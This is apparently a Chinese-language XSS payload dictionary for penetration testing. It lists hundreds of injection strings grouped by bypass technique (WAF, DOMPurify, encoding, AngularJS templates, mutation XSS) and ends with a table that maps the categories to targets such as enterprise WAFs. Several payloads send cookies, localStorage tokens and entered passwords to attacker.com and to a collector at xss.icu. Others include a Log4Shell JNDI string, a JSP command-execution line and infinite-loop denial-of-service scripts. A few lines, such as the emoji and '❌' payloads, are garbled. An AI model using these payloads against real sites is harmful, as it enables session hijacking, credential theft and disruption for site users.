- 基础大小写混合与标签混淆
- 浏览器突变型XSS
- 编码绕过
- 协议层混淆绕过
- 空字节与控制字符注入
- 注释混淆与标签闭合
- 嵌套标签与多重混淆
- 短事件处理器
- JS模板字符串注入
- DOMPurify绕过
- DOM破坏攻击
- Polyglot payloads
- Unicode归一化绕过
- AngularJS SSTI
- React/Vue框架绕过
- CSS样式表突变
- Emoji绕过
- Data URI混淆
- WAF特征检测
- 极短Payload
- 存储型XSS
- 反射型XSS
- XSS DoS
- 特殊标签绕过
- 企业级WAF绕过
- 数据外带Payload
<ScRiPt>alert(document.domain)</ScRiPt>
<script>alert(1)</script>
<IMG SRC=jAVasCrIPt:alert(1)>
<img src=x onerror=alert(1)>
<iframe src=javascript:alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<select onfocus=alert(1)><option>1</option></select>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<object data=x onerror=alert(1)>
<embed src=x onerror=alert(1)>
<form action=x onsubmit=alert(1)><input type=submit>
<noscript><p title='</noscript><img src=x onerror=alert(1)'>
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)'>
<svg><style><foreignObject><img src=x onerror=alert(1)'>
<noscript><style></noscript><img src=x onerror=alert(1)'>
<style></style><img src=x onerror=alert(1)>
<table><style><img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<script>\\u0061\\u006C\\u0065\\u0072\\u0074(1)</script>
<script>\\x61\\x6c\\x65\\x72\\x74(1)</script>
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<svg onload=eval(atob('YWxlcnQoMSk='))>
javascript:eval(atob('YWxlcnQoMSk='))
<a href='javascript:eval(atob("YWxlcnQoMSk="))'>click</a>
<img src=x onerror=Function(atob('YWxlcnQoMSk='))()>
javascript:\\u0061\\u006C\\u0065\\u0072\\u0074(1)
<a href='jAvAsCrIPt:alert(1)'>click</a>
<a href='javaSCRIPT:alert(1)'>click</a>
<a href=' javascript:alert(1)'>click</a>
<a href='java\nscript:alert(1)'>click</a>
<a href='java
script:alert(1)'>click</a>
<a href='java	script:alert(1)'>click</a>
<a href='javascript:alert(1)'>click</a>
<a href='javascript:alert(1)'>click</a>
<form action='javascript:alert(1)'><input type=submit>
<isindex action='javascript:alert(1)' type=submit>
<object data='javascript:alert(1)'>
<embed src='javascript:alert(1)'>
<scr\u0000ipt>alert(1)</scr\u0000ipt>
<img src=x onerror='aler\u0000t(1)'>
<svg onload='ale\u0000rt(1)'>
<scr\u200Cipt>alert(1)</scr\u200Cipt>
<scr\u200Dipt>alert(1)</scr\u200Dipt>
<img src=x onerror=\\u0061lert(1)>
<script>al\\u0065rt(1)</script>
<%00img src=x onerror=alert(1)>
javascript:alert(1)//\\u000a
<img src=x onerror=alert%601%60>
<!--><img src=x onerror=alert(1)>-->
--><img src=x onerror=alert(1)>
<img src=x onerror=alert(1)//>
<img src=x onerror=alert(1)><!---->
<svg><!--</svg><img src=x onerror=alert(1)>-->
><img src=x onerror=alert(1)>
<img src=x onerror='alert(1)' title='">
"><img src=x onerror=alert(1)>
'><img src=x onerror=alert(1)>
><img src=x onerror=alert(1)>
javascript:alert(1);//
javascript:alert(1);/*
<scr<script>ipt>alert(1)</scr</script>ipt>
<svg><script>alert(1)</script></svg>
<math><mtext></mtext><script>alert(1)</script></math>
<noscript><style></noscript><script>alert(1)</script>
<select><template><style></style><script>alert(1)</script></template></select>
<svg><foreignObject><body onload=alert(1)></body></foreignObject></svg>
<style><style/><script>alert(1)</script></style>
<svg/onload=alert(1)>
<img/src=x/onerror=alert(1)>
<video><source/onerror=alert(1)>
<audio><source/onerror=alert(1)>
<body/onload=alert(1)>
<input/onfocus=alert(1)/autofocus>
<svg><set/attributeName=onload/to=alert(1)>
<details/open/ontoggle=alert(1)>
<marquee/onstart=alert(1)>
<progress/bar/onmouseover=alert(1)>
<meter/onmouseover=alert(1)>0</meter>
<ruby/onmouseover=alert(1)><rt>click</rt></ruby>
<script>alert`1`</script>
<script>eval(`${prompt(1)}`)</script>
<img src=x onerror=`alert(1)`>
<svg onload=`alert(1)`>
<script>Function`a${alert(1)}lert```</script>
<script>[][('alert')(1)]</script>
<script>top['al'+'ert'](1)</script>
<script>this['alert'](1)</script>
<script>window['alert'](1)</script>
<script>frames['alert'](1)</script>
<img src=x onerror=top['alert'](1)>
<svg onload=self['alert'](1)>
<script>with(document)alert(domain)</script>
<script>atob('YWxlcnQoMSk=')</script>
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>
<svg><style><g onclick=alert(1)>click</g></style></svg>
<math><mtext><maction actiontype="statusline#http://google.com" >XSS</maction></mtext></math>
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>--></mglyph></table></mtext></math>
<form><math><mtext></math><form><button formaction=javascript:alert(1)>XSS</button></form></math></form>
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<svg><script>alert( String.fromCharCode(49) )</script></svg>
<svg><a href="javascript:alert(1)"><circle r=100></circle></a></svg>
<svg><animate href=#x onbegin=alert(1) attributeName=href values=javascript:alert(1)></animate><a id=x><circle r=10></circle></a></svg>
<form id=alert><input name=nodeType value=x>
<form id=x><input id=alert name=value>
<div id=alert>click
<a id=alert>click
<meta id=alert>
<base id=alert>
<object id=alert>
<img id=alert src=x>
<style id=alert></style>
<table id=alert><td id=alert>
<template><style id=alert></style></template>
<form><input id=elements><input name=alert>
javascript:/*--></title></script></style></xmp><svg/onload=/*<svg/onload=alert(1)>*/=alert(1)//>
<!--><svg onload=/*--><img src=x onerror=alert(1)>-->
'>\\/*<svg onload=alert(1)>*/'/*
<script>//\"></script><script>alert(1)</script>
<script>/*'\"*/);alert(1)//</script>
"><script>/*-->alert(1)</script>
<img src=x /* onerror=alert(1)>//`
javascript:/*--></title></script></style></xmp><details/open/ontoggle=alert(1)/*>
<svg<!--onload=alert(1)//-->>
<![CDATA[><svg/onload=alert(1)]>
<script>alert(1)</script>
<script>al\u0065rt(1)</script>
<script>\\u0061\\u006C\\u0065\\u0072\\u0074(1)</script>
<img src=x onerror=\\u0061lert(1)>
java\\u0073cript:alert(1)
<img src='x' onerror='\\u0061lert(1)'/>
<script>\\x61\\x6c\\x65\\x72\\x74(1)</script>
<img/\\x6fnload=alert(1)>
<img/\\x73rc=x/onerror=alert(1)>
j\\x61vascript:alert(1)
{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
{{a='constructor';alert($root.$id)}}
{onclick=alert(1)}
<ng-app><ng-script>alert(1)</ng-script></ng-app>
<svg ng-app ng-controller=$on.constructor('alert(1)')()>
{{{}.'constructor'.constructor('alert(1)')()}}
{{'a'.constructor.prototype.charAt=[].join;alert(1)}}
<x ng-app>{{x='constructor';alert($eval('a'+'lert(1)'))}}
{{constructor.constructor('alert(1)')()}}
<img src=x {{constructor.constructor('alert(1)')()}}>
<svg><animate onbegin=alert(1) attributeName=x values=1></animate></svg>
<svg><set attributeName=onmouseover to=alert(1)>
<svg><a href="javascript:alert(1)"><circle r=100></circle></a></svg>
<math><a href=javascript:alert(1)>xss</a></math>
<svg><use href=#x><set attributeName=href to=javascript:alert(1)></set></svg>
<details open ontoggle=alert(1)>
<svg><animate attributeName=href values=javascript:alert(1) />
<svg><animate href=javascript:alert(1) />
<svg><set attributeName=href to=javascript:alert(1) />
<style><style/><script>alert(1)</script></style>
<style></style><img src=x onerror=alert(1)>
<!--<style-->}*{color:red}</style><img src=x onerror=alert(1)>//
<style>@import'javascript:alert(1)';</style>
<style>*{font-family:')}*{xss:expression(alert(1))}</style>
<body{background:url(javascript:alert(1))}</style>
<div{background:url('javascript:alert(1)')}</style>
<link rel=stylesheet href='javascript:alert(1)'>
<style>@import'xss.xml?import</style>
<img src=x onerror=🖕(1)>
<svg onload=🖕(1)>
<script>var 🖕 = 1; alert(🖕)</script>
<img src=x onerror='🖕'=1;alert(🖕)'>
🖕
👶
💦
🧨
<script>window['🖕'](1)</script>
<img src=x onerror=window['🖕'](1)>
javascript:🖕(1)
<a href=javascript:🖕(1)>click</a>
<a href='data:text/html,<script>alert(1)</script>'>click</a>
<a href='data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='>click</a>
<object data='data:text/html,<script>alert(1)</script>'>
<iframe src='data:text/html,<script>alert(1)</script>'>
<embed src='data:text/html,<script>alert(1)</script>'>
<form action='data:text/html,<script>alert(1)</script>'><input type=submit>
javascript:eval("data:text/html,<script>alert(1)</script>")
<a href='data:,alert(1)'>click</a>
<img src=x onerror=alert%26%230000000001;1>
<svg/onload=al\\u0065rt(1)>
<script>al\\u0065rt(1)</script>
<img src=x onerror='\\u0061lert(1)'>
<svg><script>\\u0061lert(1)</script></svg>
<script>\\u0061\\u006C\\u0065\\u0072\\u0074(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<<script>script>alert(1)//</script>
<script\\x00>alert(1)</script>
<img src=x alt='</script><script>alert(1)</script>'/>
<script>alert(1)<\\/script>
<scr\\x00ipt>alert(1)</scr\\x00ipt>
<style></style><script>alert(1)</script>
<>"'onload=alert(1)>
"><svg onload=alert(1)>
'onclick=alert(1)>
"><img src=x onerror=alert(1)>
<script>eval(atob('YWxlcnQoMSk='))</script>
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<svg/onload=eval(atob('YWxlcnQoMSk='))>
<script>Function(atob('YWxlcnQoMSk='))()</script>
<iframe src=javascript:eval(atob('YWxlcnQoMSk='))>
<script>setTimeout(atob('YWxlcnQoMSk='),0)</script>
<script>setInterval(atob('YWxlcnQoMSk='),0)</script>
<script>requestAnimationFrame(()=>atob('YWxlcnQoMSk='))</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(localStorage.getItem('secret'))>
<script>fetch('https://attacker.com?c='+document.cookie)</script>
<img src=x onerror=navigator.sendBeacon('https://attacker.com',document.cookie)>
<svg onload=fetch('https://attacker.com',{method:'POST',body:document.cookie})>
<script>location='https://attacker.com?data='+btoa(document.cookie)</script>
<img src=x onerror=eval(atob('bG9jYWxob3N0J3M='))>
<iframe src=javascript:alert(parent.document.cookie)>
<script>alert(top.document.domain)</script>
<svg onload=alert(document.referrer)>
<script>alert(1)</script>
"><script>alert(1)</script>
'-alert(1)-'
${alert(1)}
{{alert(1)}}
<%=alert(1)%>
<?alert(1)?>
<%alert(1)%>
${jndi:ldap://xss.icu/a}
${''.__class__.__mro__[1].__subclasses__()}>
<%=Runtime.getRuntime().exec('curl xss.icu')%>
<script>while(true)alert(1)</script>
<img src=x onerror='while(true)alert(1)'>
<script>for(;;)alert(1)</script>
<svg onload='setInterval("alert(1)",0)'>
<img src=x onerror='setInterval(alert(1),0)'>
<script>confirm('x'.repeat(1e5))</script>
<img src=x onerror='confirm("x".repeat(1e5))'>
<svg><set attributeName=onmouseover to=alert(1)>
<svg><animate attributeName=href to=javascript:alert(1)>
<svg><animate href=javascript:alert(1) begin=0/>
<svg><use href=#x><set attributeName=href to=javascript:alert(1)></set></svg>
<svg><feBlend in=SourceGraphic mode='multiply'><set attributeName=href to=javascript:alert(1)></feBlend></svg>
<math><maction actiontype=show>XSS<img src=x onerror=alert(1)></maction></math>
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><a xmlns:a="http://www.w3.org/1999/02/22-rdf-syntax-ns#" rdf:parsetype="Literal">xss</a></rdf:RDF>
<xml:id="x"></xml><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>
<html><head><base href="javascript:alert(1)//"></head><body>XSS</body></html>
<svg/onload=cons❌tructor❌tor('alert(1)')()>
<svg onload=window['ale'+'rt'](1)>
<IMG SRC=x onERROR=window['\x61\x6c\x65\x72\x74'](1)>
<script>/*-/*`/*\\`'/*"/**/(/* */oNcliCk=alert(1) )//%0D%0A%0d%0a//</script>
<ScRiPt>window['al\\u0065rt'](1)</ScRiPt>
<svg><set attributeName=href to=java\\u0073cript:alert(1) />
<img src=x:alert(1)>
<svg><a href="jav\tascript\\:alert(1)"><circle r=100></circle></a></svg>
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)></style></mglyph></table></mtext></math>
<script>fetch('https://xss.icu/api/x/efb30de519e1?c='+document.cookie)</script>
<svg onload=fetch('https://xss.icu/api/x/efb30de519e1',{method:'POST',headers:{'Content-Type':'text/plain'},body:document.cookie})>
<img src=x onerror=navigator.sendBeacon('https://xss.icu/api/x/efb30de519e1',document.cookie)>
<script>new Image().src='https://xss.icu/api/x/efb30de519e1?d='+btoa(localStorage.getItem('token'))</script>
<iframe src="data:text/html,<script>top.flag='ok';parent.location='https://xss.icu/api/x/efb30de519e1?f='+top.flag</script>">
<script>location='https://xss.icu/api/x/efb30de519e1?u='+encodeURIComponent(document.documentURI)</script>
<svg onload=fetch('https://xss.icu/api/x/efb30de519e1?r='+document.referrer)>
<script>eval(atob('aWYocHJvbXB0KDEpKXt3aW5kb3cubG9jYXRpb249J2h0dHBzOi8veHNzLmljdS9hcGkveC9lZmIzMGRlNTE5ZTE+L2NvbnNvbGUnfQ=='))</script>
<script>location='https://xss.icu/api/x/efb30de519e1?k='+btoa(Object.keys(localStorage).map(k=>k+':'+localStorage[k]).join('|'))</script>
<script>fetch('https://xss.icu/api/x/efb30de519e1',{method:'POST',mode:'no-cors',body:document.querySelectorAll('input[type=text],input[type=password]').map(i=>i.value).join(',')})</script>
# 批量替换目标平台域名
sed 's/xss\.icu/你的平台域名/g' xss_payload_dic.md
# 仅提取payload列表
grep -oP '(?<=^`)\K[^`]+(?=`$)' xss_payload_dic.md > payloads.txt| 分类 | 适用场景 |
|---|---|
| 1-5 | 基础WAF、缺省过滤器 |
| 6-8 | HTML净化、属性清理 |
| 9-13 | 实体编码过滤器 |
| 10,14 | DOMPurify、Angular JS |
| 11 | 无脚本沙箱 |
| 15-17 | React/Vue、各类框架 |
| 19,25 | 企业级WAF (Cloudflare等) |
| 26 | 数据外带/平台集成 |
警告: 本工具仅供授权安全测试使用